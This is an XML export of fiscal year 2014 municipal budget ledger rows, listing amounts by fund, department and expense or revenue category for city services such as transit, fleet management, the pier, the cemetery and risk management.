<row _id="7124"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>555</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7125"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-8479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8479.0</total></row>
<row _id="7126"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-26456.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-26456.0</total></row>
<row _id="7127"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556150.0</object><object_description>SOLD NAME PLATES/BENCHES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>8000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="7128"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556180.0</object><object_description>EMBALMING SUPPLIES/EQUIPMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="7129"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>807.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>807.0</total></row>
<row _id="7130"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>61232.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>61232.0</total></row>
<row _id="7131"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>396.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>396.0</total></row>
<row _id="7132"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="7133"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2564.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2564.0</total></row>
<row _id="7134"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577550.0</object><object_description>FARMERS' MARKET SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37735.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37735.0</total></row>
<row _id="7135"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>54095.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54095.0</total></row>
<row _id="7136"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>261.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>261.0</total></row>
<row _id="7137"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5263.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5263.0</total></row>
<row _id="7138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5132.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5132.0</total></row>
<row _id="7139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>408.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>408.0</total></row>
<row _id="7140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="7141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25700.0</total></row>
<row _id="7142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7356.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7356.0</total></row>
<row _id="7143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>547.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>547.0</total></row>
<row _id="7144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1270.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1270.0</total></row>
<row _id="7145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNREALIZED GAIN / LOSS</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>71486.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71486.0</total></row>
<row _id="7146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-70505.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-70505.0</total></row>
<row _id="7147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402670.0</object><object_description>FUTURE REPLACEMENT-CNG FACILIT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-100000.0</total></row>
<row _id="7148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402690.0</object><object_description>CNG FUEL-DEPT USAGE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-245000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-245000.0</total></row>
<row _id="7149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>405760.0</object><object_description>ENHANCEMENT PURCHASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-46125.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46125.0</total></row>
<row _id="7150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>29601.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29601.0</total></row>
<row _id="7151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3948.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3948.0</total></row>
<row _id="7152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522920.0</object><object_description>COMMERCIAL VEHICLE REPAIRS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>297106.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>297106.0</total></row>
<row _id="7153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>205000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>205000.0</total></row>
<row _id="7154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>14018.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14018.0</total></row>
<row _id="7155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>591353.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>591353.0</total></row>
<row _id="7156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7982.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7982.0</total></row>
<row _id="7157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7302.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7302.0</total></row>
<row _id="7158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-17847.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17847.0</total></row>
<row _id="7159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-51863.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-51863.0</total></row>
<row _id="7160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-135823.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-135823.0</total></row>
<row _id="7161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>408220.0</object><object_description>PUBLIC NOTIFICATION REVENUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-9651.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9651.0</total></row>
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<row _id="7174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561430.0</object><object_description>STEP OFF THE STREETS SHP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13458.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13458.0</total></row>
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<row _id="7176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577726.0</object><object_description>ST JOE -FAM SELF SUF PRG-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>62321.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>62321.0</total></row>
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<row _id="7179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>408240.0</object><object_description>PARKING STRUCTURE 10</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="7180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>16090.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16090.0</total></row>
<row _id="7181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>11983.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11983.0</total></row>
<row _id="7182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>209087.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>209087.0</total></row>
<row _id="7183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>852.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>852.0</total></row>
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<row _id="7185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2101.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2101.0</total></row>
<row _id="7186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>552010.0</object><object_description>CUSTODIAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3200.0</total></row>
<row _id="7187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402260.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2618477.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2618477.0</total></row>
